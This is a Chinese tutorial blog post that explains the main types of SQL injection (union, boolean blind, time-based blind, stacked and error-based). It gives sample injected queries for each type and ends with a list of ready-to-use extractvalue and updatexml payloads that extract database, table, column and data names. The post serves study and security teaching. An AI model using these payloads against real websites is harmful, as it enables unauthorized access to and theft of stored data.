SQL注入的几种类型

2022/5/4 19:12:53

本文主要是介绍SQL注入的几种类型,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

 

SQL注入就是:

  将构造SQL语句来插入到web提交的数据之中,让其返回数据时运行自己构造的恶意SQL语句。

SQL注入构造恶意SQL语句的方法有:

  构造堆叠,构造闭合,构造报错,构造时间差,等等

SQL注入按照注入点类型来分分为:

  数字型注入,字符型注入,搜索型注入

SQL中注入按照提交类型来分分为:

  GET注入,POST注入,COOKIE注入,HTTP头部注入

SQL注入按照技巧分类的话可以分为:

  联合注入,布尔盲注,时间盲注,堆叠注入,报错注入,其他

 

联合注入:

  数据会进行回显,页面有显位符,在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

  判断语句为:

    and 1=1,and 1=2   关注面页返回数据

    order by  8,order by  9  查询列数

  正常SQL语句为:

    select * from user where userid=20

  构造SQL语句查看数据库为:

    select * from user where userid=20 union select 1,database(),3,4,5,6,7,8;

 

波尔注入:

  布尔为计算机中的一种数据类型,分为true、False两种类型,盲注则是表示注入过程中数据不会回显,只能根据页面返回两种内容的的不同来判断注入语句判断的内容是否正确。

  判断语句为:

    and 1=1,and 1=2   关注面页返回数据

  正常SQL语句为:

    select * from user where userid=20

  构造SQL语句判断database长度为:

    select * from user where userid=20 and   length(database())=4;

  波尔注入常用函数:

length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串 
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

  

时间盲注:

  时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

  判断语句为:

    and sleep(3)   关注面页返回时间

  正常SQL语句为:

    select * from user where userid=20

  构造SQL语句判断database长度为:

    select * from user where userid=20 and  sleep(3);

  时间注入常用函数:

sleep()     函数造成时间延迟
benchmark(count,expr)    多次执行即可造成时间延迟
笛卡尔积    将简单的表查询不断的叠加,使之以指数倍运算量的速度增长
get_lock()函数使用限制条件,连续使用两次get_lock(str,time),若是第一次执行成功,那个第二次将延时对应填写的时间。

  

堆叠注入:

  将语句堆叠在一起进行查询

  判断语句为:

    ;show databases();  使用 ‘;’ 号来隔开两个SQL语句

  正常SQL语句为:

    select * from user where userid=20

  构造SQL语句判断database长度为:

    select * from user where userid=20;select 21

 

报错注入:

  报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

  判断语句为:

    and 1=1,and 1=2

  正常SQL语句为:

    select * from user where userid=20

  构造SQL语句判断database长度为:

    select * from user where userid=20 and(select extractvalue(1,concat(0x7e,(select database()))))

  报错注入常用语句:

extractvalue

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

updatexml

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

  

 



这篇关于SQL注入的几种类型的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程